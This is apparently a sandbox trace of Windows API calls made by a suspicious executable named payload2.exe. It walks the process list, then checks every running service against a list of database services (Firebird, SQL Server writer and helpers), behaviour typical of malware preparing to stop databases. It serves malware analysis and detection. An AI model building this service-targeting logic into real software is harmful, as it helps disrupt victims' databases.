	[0175.031] lstrlenW (lpString="svchost.exe") returned 11
	[0175.031] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.031] lstrlenW (lpString="svchost.exe") returned 11
	[0175.031] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0175.032] lstrlenW (lpString="dwm.exe") returned 7
	[0175.032] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.032] lstrlenW (lpString="svchost.exe") returned 11
	[0175.032] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.033] lstrlenW (lpString="svchost.exe") returned 11
	[0175.033] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.033] lstrlenW (lpString="svchost.exe") returned 11
	[0175.033] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.034] lstrlenW (lpString="svchost.exe") returned 11
	[0175.034] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.034] lstrlenW (lpString="svchost.exe") returned 11
	[0175.034] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.034] lstrlenW (lpString="svchost.exe") returned 11
	[0175.035] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.035] lstrlenW (lpString="svchost.exe") returned 11
	[0175.035] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.035] lstrlenW (lpString="svchost.exe") returned 11
	[0175.035] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.036] lstrlenW (lpString="svchost.exe") returned 11
	[0175.036] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.036] lstrlenW (lpString="svchost.exe") returned 11
	[0175.036] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0175.037] lstrlenW (lpString="spoolsv.exe") returned 11
	[0175.037] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.037] lstrlenW (lpString="svchost.exe") returned 11
	[0175.037] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0175.038] lstrlenW (lpString="audiodg.exe") returned 11
	[0175.038] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0175.038] lstrlenW (lpString="sihost.exe") returned 10
	[0175.038] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.039] lstrlenW (lpString="svchost.exe") returned 11
	[0175.039] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.039] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.039] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0175.039] lstrlenW (lpString="msoia.exe") returned 9
	[0175.039] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0175.040] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0175.040] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0175.040] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0175.040] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0175.041] lstrlenW (lpString="Memory Compression") returned 18
	[0175.041] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0175.041] lstrlenW (lpString="explorer.exe") returned 12
	[0175.041] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0175.042] lstrlenW (lpString="SearchUI.exe") returned 12
	[0175.042] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0175.042] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0175.042] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0175.043] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0175.043] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0175.043] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0175.043] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0175.043] lstrlenW (lpString="payload2.exe") returned 12
	[0175.044] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0175.044] lstrlenW (lpString="cmd.exe") returned 7
	[0175.044] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0175.044] lstrlenW (lpString="conhost.exe") returned 11
	[0175.044] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0175.045] lstrlenW (lpString="mode.com") returned 8
	[0175.045] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0175.045] CloseHandle (hObject=0x5b4) returned 1
	[0175.046] Sleep (dwMilliseconds=0x1f4) 
	[0175.690] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x667e58
	[0175.691] EnumServicesStatusExW (in: hSCManager=0x667e58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0175.691] GetLastError () returned 0xea
	[0175.691] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x45c6cc8
	[0175.692] EnumServicesStatusExW (in: hSCManager=0x667e58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45c6cc8, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45c6cc8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0175.693] CloseServiceHandle (hSCObject=0x667e58) returned 1
	[0175.693] lstrlenW (lpString="Appinfo") returned 7
	[0175.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0175.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0175.694] lstrlenW (lpString="AppXSvc") returned 7
	[0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0175.694] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0175.694] lstrlenW (lpString="Audiosrv") returned 8
	[0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0175.694] lstrlenW (lpString="BFE") returned 3
	[0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0175.695] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0175.695] lstrlenW (lpString="CDPSvc") returned 6
	[0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0175.695] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0175.695] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0175.695] lstrlenW (lpString="CryptSvc") returned 8
	[0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0175.696] lstrlenW (lpString="DcomLaunch") returned 10
	[0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0175.696] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0175.696] lstrlenW (lpString="Dhcp") returned 4
	[0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0175.696] lstrlenW (lpString="Dnscache") returned 8
	[0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0175.697] lstrlenW (lpString="DPS") returned 3
	[0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0175.697] lstrlenW (lpString="DsmSvc") returned 6
	[0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0175.697] lstrlenW (lpString="DusmSvc") returned 7
	[0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0175.697] lstrlenW (lpString="EventLog") returned 8
	[0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0175.697] lstrlenW (lpString="EventSystem") returned 11
	[0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0175.698] lstrlenW (lpString="FontCache") returned 9
	[0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0175.698] lstrlenW (lpString="gpsvc") returned 5
	[0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0175.698] lstrlenW (lpString="iphlpsvc") returned 8
	[0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0175.698] lstrlenW (lpString="KeyIso") returned 6
	[0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0175.699] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0175.699] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0175.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0175.699] lstrlenW (lpString="LanmanServer") returned 12
	[0175.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0175.699] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0175.699] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0175.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0175.699] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0175.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0175.699] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0175.699] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0175.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0175.699] lstrlenW (lpString="lfsvc") returned 5
	[0175.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0175.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0175.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0175.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0175.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0175.699] lstrlenW (lpString="lmhosts") returned 7
	[0175.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0175.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0175.699] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0175.699] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0175.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
